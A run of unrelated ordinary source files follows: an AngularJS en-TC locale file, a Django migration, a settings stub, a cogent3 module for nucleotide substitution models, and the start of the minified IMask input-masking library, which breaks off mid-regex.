/* */ "format global"; 'use strict'; angular.module("ngLocale", [], ["$provide", function($provide) { var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"}; function getDecimals(n) { n = n + ''; var i = n.indexOf('.'); return (i == -1) ? 0 : n.length - i - 1; } function getVF(n, opt_precision) { var v = opt_precision; if (undefined === v) { v = Math.min(getDecimals(n), 3); } var base = Math.pow(10, v); var f = ((n * base) | 0) % base; return {v: v, f: f}; } $provide.value("$locale", { "DATETIME_FORMATS": { "AMPMS": [ "AM", "PM" ], "DAY": [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], "ERANAMES": [ "Before Christ", "Anno Domini" ], "ERAS": [ "BC", "AD" ], "FIRSTDAYOFWEEK": 0, "MONTH": [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ], "SHORTDAY": [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], "SHORTMONTH": [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], "STANDALONEMONTH": [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ], "WEEKENDRANGE": [ 5, 6 ], "fullDate": "EEEE, d MMMM y", "longDate": "d MMMM y", "medium": "d MMM y h:mm:ss a", "mediumDate": "d MMM y", "mediumTime": "h:mm:ss a", "short": "dd/MM/y h:mm a", "shortDate": "dd/MM/y", "shortTime": "h:mm a" }, "NUMBER_FORMATS": { "CURRENCY_SYM": "$", "DECIMAL_SEP": ".", "GROUP_SEP": ",", "PATTERNS": [ { "gSize": 3, "lgSize": 3, "maxFrac": 3, "minFrac": 0, "minInt": 1, "negPre": "-", "negSuf": "", "posPre": "", "posSuf": "" }, { "gSize": 3, "lgSize": 3, "maxFrac": 2, "minFrac": 2, "minInt": 1, "negPre": "-\u00a4", "negSuf": "", "posPre": "\u00a4", "posSuf": "" } ] }, "id": "en-tc", "localeID": "en_TC", "pluralCat": function(n, opt_precision) { var i = n | 0; var vf = getVF(n, opt_precision); if (i == 1 && vf.v == 0) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;} }); }]);
# Generated by Django 2.2.7 on 2019-11-07 11:46 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main', '0009_auto_20191107_1916'), ] operations = [ migrations.RemoveField( model_name='tutorialcategory', name='image', ), ]
"""Copyright 2014 Cyrus Dasadia Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ # Change me SECRET_KEY = 'Change me!'
"""P matrices for some DNA models can be calculated without going via the intermediate rate matrix Q. A Cython implementation of this calculation can be used when Q is not required, for example during likelihood tree optimisation. Equivalent pure python code is NOT provided because it is typically slower than the rate-matrix based alternative and provides no extra functionality. """ import numpy from numpy.testing import assert_allclose from cogent3.evolve.predicate import MotifChange from cogent3.evolve.substitution_model import ( CalcDefn, TimeReversibleNucleotide, ) from cogent3.maths.matrix_exponentiation import FastExponentiator from cogent3.util.modules import ExpectedImportError, importVersionedModule from . import solved_models_numba as _solved_models __author__ = "Peter Maxwell" __copyright__ = "Copyright 2007-2020, The Cogent Project" __credits__ = ["Peter Maxwell", "Gavin Huttley"] __license__ = "BSD-3" __version__ = "2020.2.7a" __maintainer__ = "Peter Maxwell" __email__ = "[email protected]" __status__ = "Production" class PredefinedNucleotide(TimeReversibleNucleotide): _default_expm_setting = None # Instead of providing calc_exchangeability_matrix this subclass overrrides # make_continuous_psub_defn to bypass the Q / Qd step. def make_continuous_psub_defn( self, word_probs, mprobs_matrix, distance, rate_params ): # Only one set of mprobs will be used assert word_probs is mprobs_matrix # Order of bases is assumed later, so check it really is Y,Y,R,R: alphabet = self.get_alphabet() assert set(list(alphabet)[:2]) == set(["T", "C"]) assert set(list(alphabet)[2:]) == set(["G", "A"]) # Should produce the same P as an ordinary Q based model would: self.check_psub_calculations_match() return CalcDefn(self.calc_psub_matrix, name="psubs")( word_probs, distance, *rate_params ) def calc_psub_matrix(self, pi, time, kappa_y=1.0, kappa_r=None): """Is F81, HKY83 or TN93 when passed 0, 1 or 2 parameters""" if kappa_r is None: kappa_r = kappa_y result = numpy.empty([4, 4], float) _solved_models.calc_TN93_P(pi, time, kappa_y, kappa_r, result) return result def check_psub_calculations_match(self): pi = numpy.array([0.1, 0.2, 0.3, 0.4]) params = [4, 6][: len(self.parameter_order)] Q = self.calcQ(pi, pi, *params) P1 = FastExponentiator(Q)(0.5) P2 = self.calc_psub_matrix(pi, 0.5, *params) assert_allclose(P1, P2) def _solved_nucleotide(name, predicates, rate_matrix_required=True, **kw): if _solved_models is not None and not rate_matrix_required: klass = PredefinedNucleotide else: klass = TimeReversibleNucleotide kw["model_gaps"] = False return klass(name=name, predicates=predicates, **kw) kappa_y = MotifChange("T", "C").aliased("kappa_y") kappa_r = MotifChange("A", "G").aliased("kappa_r") kappa = (kappa_y | kappa_r).aliased("kappa") def TN93(**kw): """Tamura and Nei 1993 model""" kw["recode_gaps"] = True return _solved_nucleotide("TN93", [kappa_y, kappa_r], **kw) def HKY85(**kw): """Hasegawa, Kishino and Yanamo 1985 model""" kw["recode_gaps"] = True return _solved_nucleotide("HKY85", [kappa], **kw) def F81(**kw): """Felsenstein's 1981 model""" kw["recode_gaps"] = True return _solved_nucleotide("F81", [], **kw)
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).IMask={})}(this,(function(t){"use strict";var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=function(t){return t&&t.Math==Math&&t},u=n("object"==typeof globalThis&&globalThis)||n("object"==typeof window&&window)||n("object"==typeof self&&self)||n("object"==typeof e&&e)||function(){return this}()||Function("return this")(),r={},i=function(t){try{return!!t()}catch(t){return!0}},a=!i((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]})),s={},o={}.propertyIsEnumerable,l=Object.getOwnPropertyDescriptor,h=l&&!o.call({1:2},1);s.f=h?function(t){var e=l(this,t);return!!e&&e.enumerable}:o;var c=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}},f={}.toString,p=function(t){return f.call(t).slice(8,-1)},d="".split,v=i((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"==p(t)?d.call(t,""):Object(t)}:Object,g=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t},k=v,y=g,m=function(t){return k(y(t))},_=function(t){return"object"==typeof t?null!==t:"function"==typeof t},A=_,b=function(t,e){if(!A(t))return t;var n,u;if(e&&"function"==typeof(n=t.toString)&&!A(u=n.call(t)))return u;if("function"==typeof(n=t.valueOf)&&!A(u=n.call(t)))return u;if(!e&&"function"==typeof(n=t.toString)&&!A(u=n.call(t)))return u;throw TypeError("Can't convert object to primitive value")},C=g,E=function(t){return Object(C(t))},F=E,S={}.hasOwnProperty,D=Object.hasOwn||function(t,e){return S.call(F(t),e)},B=_,w=u.document,M=B(w)&&B(w.createElement),x=function(t){return M?w.createElement(t):{}},P=!a&&!i((function(){return 7!=Object.defineProperty(x("div"),"a",{get:function(){return 7}}).a})),O=a,T=s,I=c,j=m,V=b,R=D,L=P,N=Object.getOwnPropertyDescriptor;r.f=O?N:function(t,e){if(t=j(t),e=V(e,!0),L)try{return N(t,e)}catch(t){}if(R(t,e))return I(!T.f.call(t,e),t[e])};var z={},U=_,H=function(t){if(!U(t))throw TypeError(String(t)+" is not an object");return t},Y=a,Z=P,K=H,G=b,W=Object.defineProperty;z.f=Y?W:function(t,e,n){if(K(t),e=G(e,!0),K(n),Z)try{return W(t,e,n)}catch(t){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(t[e]=n.value),t};var $=z,q=c,X=a?function(t,e,n){return $.f(t,e,q(1,n))}:function(t,e,n){return t[e]=n,t},J={exports:{}},Q=u,tt=X,et=function(t,e){try{tt(Q,t,e)}catch(n){Q[t]=e}return e},nt=et,ut="__core-js_shared__",rt=u[ut]||nt(ut,{}),it=rt,at=Function.toString;"function"!=typeof it.inspectSource&&(it.inspectSource=function(t){return at.call(t)});var st=it.inspectSource,ot=st,lt=u.WeakMap,ht="function"==typeof lt&&/native code/.test(ot(lt)),ct={exports:{}},ft=rt;(ct.exports=function(t,e){return ft[t]||(ft[t]=void 0!==e?e:{})})("versions",[]).push({version:"3.15.2",mode:"global",copyright:"© 2021 Denis Pushkarev (zloirock.ru)"});var pt,dt,vt,gt=0,kt=Math.random(),yt=ct.exports,mt=function(t){return"Symbol("+String(void 0===t?"":t)+")_"+(++gt+kt).toString(36)},_t=yt("keys"),At={},bt=ht,Ct=_,Et=X,Ft=D,St=rt,Dt=function(t){return _t[t]||(_t[t]=mt(t))},Bt=At,wt="Object already initialized",Mt=u.WeakMap;if(bt||St.state){var xt=St.state||(St.state=new Mt),Pt=xt.get,Ot=xt.has,Tt=xt.set;pt=function(t,e){if(Ot.call(xt,t))throw new TypeError(wt);return e.facade=t,Tt.call(xt,t,e),e},dt=function(t){return Pt.call(xt,t)||{}},vt=function(t){return Ot.call(xt,t)}}else{var It=Dt("state");Bt[It]=!0,pt=function(t,e){if(Ft(t,It))throw new TypeError(wt);return e.facade=t,Et(t,It,e),e},dt=function(t){return Ft(t,It)?t[It]:{}},vt=function(t){return Ft(t,It)}}var jt={set:pt,get:dt,has:vt,enforce:function(t){return vt(t)?dt(t):pt(t,{})},getterFor:function(t){return function(e){var n;if(!Ct(e)||(n=dt(e)).type!==t)throw TypeError("Incompatible receiver, "+t+" required");return n}}},Vt=u,Rt=X,Lt=D,Nt=et,zt=st,Ut=jt.get,Ht=jt.enforce,Yt=String(String).split("String");(J.exports=function(t,e,n,u){var r,i=!!u&&!!u.unsafe,a=!!u&&!!u.enumerable,s=!!u&&!!u.noTargetGet;"function"==typeof n&&("string"!=typeof e||Lt(n,"name")||Rt(n,"name",e),(r=Ht(n)).source||(r.source=Yt.join("string"==typeof e?e:""))),t!==Vt?(i?!s&&t[e]&&(a=!0):delete t[e],a?t[e]=n:Rt(t,e,n)):a?t[e]=n:Nt(e,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&Ut(this).source||zt(this)}));var Zt=u,Kt=u,Gt=function(t){return"function"==typeof t?t:void 0},Wt=function(t,e){return arguments.length<2?Gt(Zt[t])||Gt(Kt[t]):Zt[t]&&Zt[t][e]||Kt[t]&&Kt[t][e]},$t={},qt=Math.ceil,Xt=Math.floor,Jt=function(t){return isNaN(t=+t)?0:(t>0?Xt:qt)(t)},Qt=Jt,te=Math.min,ee=function(t){return t>0?te(Qt(t),9007199254740991):0},ne=Jt,ue=Math.max,re=Math.min,ie=m,ae=ee,se=function(t,e){var n=ne(t);return n<0?ue(n+e,0):re(n,e)},oe=function(t){return function(e,n,u){var r,i=ie(e),a=ae(i.length),s=se(u,a);if(t&&n!=n){for(;a>s;)if((r=i[s++])!=r)return!0}else for(;a>s;s++)if((t||s in i)&&i[s]===n)return t||s||0;return!t&&-1}},le={includes:oe(!0),indexOf:oe(!1)},he=D,ce=m,fe=le.indexOf,pe=At,de=function(t,e){var n,u=ce(t),r=0,i=[];for(n in u)!he(pe,n)&&he(u,n)&&i.push(n);for(;e.length>r;)he(u,n=e[r++])&&(~fe(i,n)||i.push(n));return i},ve=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"],ge=de,ke=ve.concat("length","prototype");$t.f=Object.getOwnPropertyNames||function(t){return ge(t,ke)};var ye={};ye.f=Object.getOwnPropertySymbols;var me=$t,_e=ye,Ae=H,be=Wt("Reflect","ownKeys")||function(t){var e=me.f(Ae(t)),n=_e.f;return n?e.concat(n(t)):e},Ce=D,Ee=be,Fe=r,Se=z,De=i,Be=/#|\.prototype\./,we=function(t,e){var n=xe[Me(t)];return n==Oe||n!=Pe&&("function"==typeof e?De(e):!!e)},Me=we.normalize=function(t){return String(t).replace(Be,".").toLowerCase()},xe=we.data={},Pe=we.NATIVE="N",Oe=we.POLYFILL="P",Te=we,Ie=u,je=r.f,Ve=X,Re=J.exports,Le=et,Ne=function(t,e){for(var n=Ee(e),u=Se.f,r=Fe.f,i=0;i<n.length;i++){var a=n[i];Ce(t,a)||u(t,a,r(e,a))}},ze=Te,Ue=function(t,e){var n,u,r,i,a,s=t.target,o=t.global,l=t.stat;if(n=o?Ie:l?Ie[s]||Le(s,{}):(Ie[s]||{}).prototype)for(u in e){if(i=e[u],r=t.noTargetGet?(a=je(n,u))&&a.value:n[u],!ze(o?u:s+(l?".":"#")+u,t.forced)&&void 0!==r){if(typeof i==typeof r)continue;Ne(i,r)}(t.sham||r&&r.sham)&&Ve(i,"sham",!0),Re(n,u,i,t)}},He=de,Ye=ve,Ze=Object.keys||function(t){return He(t,Ye)},Ke=a,Ge=i,We=Ze,$e=ye,qe=s,Xe=E,Je=v,Qe=Object.assign,tn=Object.defineProperty,en=!Qe||Ge((function(){if(Ke&&1!==Qe({b:1},Qe(tn({},"a",{enumerable:!0,get:function(){tn(this,"b",{value:3,enumerable:!1})}}),{b:2})).b)return!0;var t={},e={},n=Symbol(),u="abcdefghijklmnopqrst";return t[n]=7,u.split("").forEach((function(t){e[t]=t})),7!=Qe({},t)[n]||We(Qe({},e)).join("")!=u}))?function(t,e){for(var n=Xe(t),u=arguments.length,r=1,i=$e.f,a=qe.f;u>r;)for(var s,o=Je(arguments[r++]),l=i?We(o).concat(i(o)):We(o),h=l.length,c=0;h>c;)s=l[c++],Ke&&!a.call(o,s)||(n[s]=o[s]);return n}:Qe;Ue({target:"Object",stat:!0,forced:Object.assign!==en},{assign:en});var nn=Jt,un=g,rn=function(t){var e=String(un(this)),n="",u=nn(t);if(u<0||u==1/0)throw RangeError("Wrong number of repetitions");for(;u>0;(u>>>=1)&&(e+=e))1&u&&(n+=e);return n};Ue({target:"String",proto:!0},{repeat:rn});var an=ee,sn=rn,on=g,ln=Math.ceil,hn=function(t){return function(e,n,u){var r,i,a=String(on(e)),s=a.length,o=void 0===u?" ":String(u),l=an(n);return l<=s||""==o?a:(r=l-s,(i=sn.call(o,ln(r/o.length))).length>r&&(i=i.slice(0,r)),t?a+i:i+a)}},cn={start:hn(!1),end:hn(!0)},fn=Wt("navigator","userAgent")||"",pn=/Version\/10(?:\.\d+){1,2}(?: [\w./]+)?(?: Mobile\/\w+)? Safari\//.test(fn),dn=cn.start;Ue({target:"String",proto:!0,forced:pn},{padStart:function(t){return dn(this,t,arguments.length>1?arguments[1]:void 0)}});var vn=cn.end;function gn(t){return(gn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function kn(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function yn(t,e){for(var n=0;n<e.length;n++){var u=e[n];u.enumerable=u.enumerable||!1,u.configurable=!0,"value"in u&&(u.writable=!0),Object.defineProperty(t,u.key,u)}}function mn(t,e,n){return e&&yn(t.prototype,e),n&&yn(t,n),t}function _n(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&bn(t,e)}function An(t){return(An=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function bn(t,e){return(bn=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Cn(t,e){if(null==t)return{};var n,u,r=function(t,e){if(null==t)return{};var n,u,r={},i=Object.keys(t);for(u=0;u<i.length;u++)n=i[u],e.indexOf(n)>=0||(r[n]=t[n]);return r}(t,e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);for(u=0;u<i.length;u++)n=i[u],e.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(r[n]=t[n])}return r}function En(t,e){return!e||"object"!=typeof e&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Fn(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,u=An(t);if(e){var r=An(this).constructor;n=Reflect.construct(u,arguments,r)}else n=u.apply(this,arguments);return En(this,n)}}function Sn(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&null!==(t=An(t)););return t}function Dn(t,e,n){return(Dn="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(t,e,n){var u=Sn(t,e);if(u){var r=Object.getOwnPropertyDescriptor(u,e);return r.get?r.get.call(n):r.value}})(t,e,n||t)}function Bn(t,e,n,u){return(Bn="undefined"!=typeof Reflect&&Reflect.set?Reflect.set:function(t,e,n,u){var r,i=Sn(t,e);if(i){if((r=Object.getOwnPropertyDescriptor(i,e)).set)return r.set.call(u,n),!0;if(!r.writable)return!1}if(r=Object.getOwnPropertyDescriptor(u,e)){if(!r.writable)return!1;r.value=n,Object.defineProperty(u,e,r)}else!function(t,e,n){e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n}(u,e,n);return!0})(t,e,n,u)}function wn(t,e,n,u,r){if(!Bn(t,e,n,u||t)&&r)throw new Error("failed to set property");return n}function Mn(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var n=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null==n)return;var u,r,i=[],a=!0,s=!1;try{for(n=n.call(t);!(a=(u=n.next()).done)&&(i.push(u.value),!e||i.length!==e);a=!0);}catch(t){s=!0,r=t}finally{try{a||null==n.return||n.return()}finally{if(s)throw r}}return i}(t,e)||function(t,e){if(!t)return;if("string"==typeof t)return xn(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return xn(t,e)}(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function xn(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,u=new Array(e);n<e;n++)u[n]=t[n];return u}function Pn(t){return"string"==typeof t||t instanceof String}Ue({target:"String",proto:!0,forced:pn},{padEnd:function(t){return vn(this,t,arguments.length>1?arguments[1]:void 0)}}),Ue({global:!0},{globalThis:u});var On="NONE",Tn="LEFT",In="FORCE_LEFT",jn="RIGHT",Vn="FORCE_RIGHT";function Rn(t){switch(t){case Tn:return In;case jn:return Vn;default:return t}}function Ln(t){return t.replace(/([.*+?^=!:${}()|[\]\/\\])/g,"\\$1")}function Nn(t,e){if(e===t)return!0;var n,u=Array.isArray(e),r=Array.isArray(t);if(u&&r){if(e.length!=t.length)return!1;for(n=0;n<e.length;n++)if(!Nn(e[n],t[n]))return!1;return!0}if(u!=r)return!1;if(e&&t&&"object"===gn(e)&&"object"===gn(t)){var i=e instanceof Date,a=t instanceof Date;if(i&&a)return e.getTime()==t.getTime();if(i!=a)return!1;var s=e instanceof RegExp,o=t instanceof RegExp;if(s&&o)return e.toString()==t.toString();if(s!=o)return!1;var l=Object.keys(e);for(n=0;n<l.length;n++)if(!Object.prototype.hasOwnProperty.call(t,l[n]))return!1;for(n=0;n<l.length;n++)if(!Nn(t[l[n]],e[l[n]]))return!1;return!0}return!(!e||!t||"function"!=typeof e||"function"!=typeof t)&&e.toString()===t.toString()}var zn=function(){function t(e,n,u,r){for(kn(this,t),this.value=e,this.cursorPos=n,this.oldValue=u,this.oldSelection=r;this.value.slice(0,this.startChangePos)!==this.oldValue.slice(0,this.startChangePos);)--this.oldSelection.start}return mn(t,[{key:"startChangePos",get:function(){return Math.min(this.cursorPos,this.oldSelection.start)}},{key:"insertedCount",get:function(){return this.cursorPos-this.startChangePos}},{key:"inserted",get:function(){return this.value.substr(this.startChangePos,this.insertedCount)}},{key:"removedCount",get:function(){return Math.max(this.oldSelection.end-this.startChangePos||this.oldValue.length-this.value.length,0)}},{key:"removed",get:function(){return this.oldValue.substr(this.startChangePos,this.removedCount)}},{key:"head",get:function(){return this.value.substring(0,this.startChangePos)}},{key:"tail",get:function(){return this.value.substring(this.startChangePos+this.insertedCount)}},{key:"removeDirection",get:function(){return!this.removedCount||this.insertedCount?On:this.oldSelection.end===this.cursorPos||this.oldSelection.start===this.cursorPos?jn:Tn}}]),t}(),Un=function(){function t(e){kn(this,t),Object.assign(this,{inserted:"",rawInserted:"",skip:!1,tailShift:0},e)}return mn(t,[{key:"aggregate",value:function(t){return this.rawInserted+=t.rawInserted,this.skip=this.skip||t.skip,this.inserted+=t.inserted,this.tailShift+=t.tailShift,this}},{key:"offset",get:function(){return this.tailShift+this.inserted.length}}]),t}(),Hn=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,u=arguments.length>2?arguments[2]:void 0;kn(this,t),this.value=e,this.from=n,this.stop=u}return mn(t,[{key:"toString",value:function(){return this.value}},{key:"extend",value:function(t){this.value+=String(t)}},{key:"appendTo",value:function(t){return t.append(this.toString(),{tail:!0}).aggregate(t._appendPlaceholder())}},{key:"state",get:function(){return{value:this.value,from:this.from,stop:this.stop}},set:function(t){Object.assign(this,t)}},{key:"shiftBefore",value:function(t){if(this.from>=t||!this.value.length)return"";var e=this.value[0];return this.value=this.value.slice(1),e}}]),t}();function Yn(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return new Yn.InputMask(t,e)}var Zn=function(){function t(e){kn(this,t),this._value="",this._update(Object.assign({},t.DEFAULTS,e)),this.isInitialized=!0}return mn(t,[{key:"updateOptions",value:function(t){Object.keys(t).length&&this.withValueRefresh(this._update.bind(this,t))}},{key:"_update",value:function(t){Object.assign(this,t)}},{key:"state",get:function(){return{_value:this.value}},set:function(t){this._value=t._value}},{key:"reset",value:function(){this._value=""}},{key:"value",get:function(){return this._value},set:function(t){this.resolve(t)}},{key:"resolve",value:function(t){return this.reset(),this.append(t,{input:!0},""),this.doCommit(),this.value}},{key:"unmaskedValue",get:function(){return this.value},set:function(t){this.reset(),this.append(t,{},""),this.doCommit()}},{key:"typedValue",get:function(){return this.doParse(this.value)},set:function(t){this.value=this.doFormat(t)}},{key:"rawInputValue",get:function(){return this.extractInput(0,this.value.length,{raw:!0})},set:function(t){this.reset(),this.append(t,{raw:!0},""),this.doCommit()}},{key:"isComplete",get:function(){return!0}},{key:"nearestInputPos",value:function(t,e){return t}},{key:"extractInput",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length;return this.value.slice(t,e)}},{key:"extractTail",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length;return new Hn(this.extractInput(t,e),t)}},{key:"appendTail",value:function(t){return Pn(t)&&(t=new Hn(String(t))),t.appendTo(this)}},{key:"_appendCharRaw",value:function(t){return t?(this._value+=t,new Un({inserted:t,rawInserted:t})):new Un}},{key:"_appendChar",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2?arguments[2]:void 0,u=this.state,r=this._appendCharRaw(this.doPrepare(t,e),e);if(r.inserted){var i,a=!1!==this.doValidate(e);if(a&&null!=n){var s=this.state;this.overwrite&&(i=n.state,n.shiftBefore(this.value.length));var o=this.appendTail(n);(a=o.rawInserted===n.toString())&&o.inserted&&(this.state=s)}a||(r=new Un,this.state=u,n&&i&&(n.state=i))}return r}},{key:"_appendPlaceholder",value:function(){return new Un}},{key:"append",value:function(t,e,n){if(!Pn(t))throw new Error("value should be string");var u=new Un,r=Pn(n)?new Hn(String(n)):n;e&&e.tail&&(e._beforeTailState=this.state);for(var i=0;i<t.length;++i)u.aggregate(this._appendChar(t[i],e,r));return null!=r&&(u.tailShift+=this.appendTail(r).tailShift),u}},{key:"remove",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length;return this._value=this.value.slice(0,t)+this.value.slice(e),new Un}},{key:"withValueRefresh",value:function(t){if(this._refreshing||!this.isInitialized)return t();this._refreshing=!0;var e=this.rawInputValue,n=this.value,u=t();return this.rawInputValue=e,this.value&&this.value!==n&&0===n.indexOf(this.value)&&this.append(n.slice(this.value.length),{},""),delete this._refreshing,u}},{key:"runIsolated",value:function(t){if(this._isolated||!this.isInitialized)return t(this);this._isolated=!0;var e=this.state,n=t(this);return this.state=e,delete this._isolated,n}},{key:"doPrepare",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return this.prepare?this.prepare(t,this,e):t}},{key:"doValidate",value:function(t){return(!this.validate||this.validate(this.value,this,t))&&(!this.parent||this.parent.doValidate(t))}},{key:"doCommit",value:function(){this.commit&&this.commit(this.value,this)}},{key:"doFormat",value:function(t){return this.format?this.format(t,this):t}},{key:"doParse",value:function(t){return this.parse?this.parse(t,this):t}},{key:"splice",value:function(t,e,n,u){var r=t+e,i=this.extractTail(r),a=this.nearestInputPos(t,u);return new Un({tailShift:a-t}).aggregate(this.remove(a)).aggregate(this.append(n,{input:!0},i))}}]),t}();function Kn(t){if(null==t)throw new Error("mask property should be defined");return t instanceof RegExp?Yn.MaskedRegExp:Pn(t)?Yn.MaskedPattern:t instanceof Date||t===Date?Yn.MaskedDate:t instanceof Number||"number"==typeof t||t===Number?Yn.MaskedNumber:Array.isArray(t)||t===Array?Yn.MaskedDynamic:Yn.Masked&&t.prototype instanceof Yn.Masked?t:t instanceof Function?Yn.MaskedFunction:t instanceof Yn.Masked?t.constructor:(console.warn("Mask not found for mask",t),Yn.Masked)}function Gn(t){if(Yn.Masked&&t instanceof Yn.Masked)return t;var e=(t=Object.assign({},t)).mask;if(Yn.Masked&&e instanceof Yn.Masked)return e;var n=Kn(e);if(!n)throw new Error("Masked class is not found for provided mask, appropriate module needs to be import manually before creating mask.");return new n(t)}Zn.DEFAULTS={format:function(t){return t},parse:function(t){return t}},Yn.Masked=Zn,Yn.createMask=Gn;var Wn=["mask"],$n={0:/\d/,a:/[\u0041-\u005A\u0061-\u007A\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0